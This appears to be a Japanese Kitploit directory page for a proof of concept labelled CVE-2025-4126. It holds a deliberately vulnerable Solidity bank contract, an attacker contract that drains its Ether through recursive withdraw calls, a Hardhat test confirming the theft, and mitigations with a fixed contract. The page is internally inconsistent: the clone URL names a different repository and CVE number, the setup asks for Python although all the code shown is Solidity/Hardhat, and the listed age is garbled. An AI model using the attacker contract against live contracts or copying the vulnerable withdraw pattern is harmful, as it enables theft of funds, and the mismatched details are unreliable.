Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4126 — スマートコントラクトのリエントランシー攻撃脆弱性POC | Kitploit
ツール/GitHubGitHub/slow-mist/cve-2025-4126
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

スマートコントラクトのリエントランシー攻撃脆弱性POC

リポジトリを見る
131年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

POC-CVE-2025-4126

スマートコントラクトのリエントランシー攻撃の脆弱性の検証

スマートコントラクトのリエントランシー攻撃PoC

このリポジトリには、Ethereumスマートコントラクトにおけるリエントランシー攻撃の脆弱性を示す概念実証(PoC)が含まれています。このPoCには、脆弱なスマートコントラクト、攻撃者コントラクト、およびローカルテスト環境で攻撃を再現するための手順が含まれています。

目次

  • 概要
  • 脆弱性の説明
  • PoCのセットアップ
  • PoCの実行
  • ライセンス

概要

リエントランシーは、Ethereumスマートコントラクトにおける一般的な脆弱性であり、外部コントラクトが最初の呼び出しの完了前に元のコントラクトへ繰り返し呼び出しを行うことで、資金を流出させたり状態を操作したりする可能性があります。このPoCは、攻撃者が脆弱なコントラクトを悪用してEtherを盗む方法を示しています。

脆弱性の説明

脆弱なコントラクト(VulnerableBank)は、ユーザーがEtherを預金および引き出しできるようにします。しかし、外部呼び出しの前に状態更新を適切に行わないため、リエントランシーに対して脆弱です。攻撃者コントラクト(Attacker)は、withdraw関数を再帰的に呼び出して、コントラクトのEther残高を流出させます。

主な問題

  • VulnerableBankのwithdraw関数は、ユーザーの残高を更新する前にEtherを呼び出し元に送信します。
  • これにより、攻撃者のコントラクトがフォールバック関数内でwithdrawを再度呼び出し、コントラクトの資金を流出させることができます。

PoCのセットアップ

このPoCを実行するには、以下が必要です:

  • python3.x
  • pip3

インストールと実行

  1. このリポジトリをクローンします:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. 実行します:
    root@kitploit:~
    python3 poc.py
    

PoCコード

以下は、このPoCで使用される2つのコントラクトです:

VulnerableBank.sol

このコントラクトは、預金と引き出しが可能な単純な銀行をシミュレートしますが、リエントランシーに対して脆弱です。

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

このコントラクトは、withdraw関数を再帰的に呼び出すことでリエントランシーの脆弱性を悪用します。

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Hardhatテストスクリプト

攻撃シミュレーションを自動化するHardhatテストスクリプトが含まれています。

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

期待される出力

  • 初期コントラクト残高:10 ETH
  • 最終コントラクト残高:0 ETH
  • 攻撃者残高:約10 ETH(ガス代を除く)

対策

リエントランシー攻撃を防ぐには、以下のベストプラクティスを検討してください:

  1. チェック-エフェクト-インタラクション・パターン:外部呼び出しを行う前に状態(例:残高)を更新します。
  2. リエントランシーガード:再帰呼び出しを防ぐためにモディファイア(例:OpenZeppelinのReentrancyGuard)を使用します。
  3. ガスの制限:外部呼び出しに転送するガスを制限し、複雑なリエントランシーロジックを防ぎます。
  4. transferまたはsendを使用する:これらのメソッドはガスを制限するため、リエントランシーのリスクを軽減します。

VulnerableBank.solの修正例

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細については、LICENSEファイルを参照してください。

ツールをダウンロード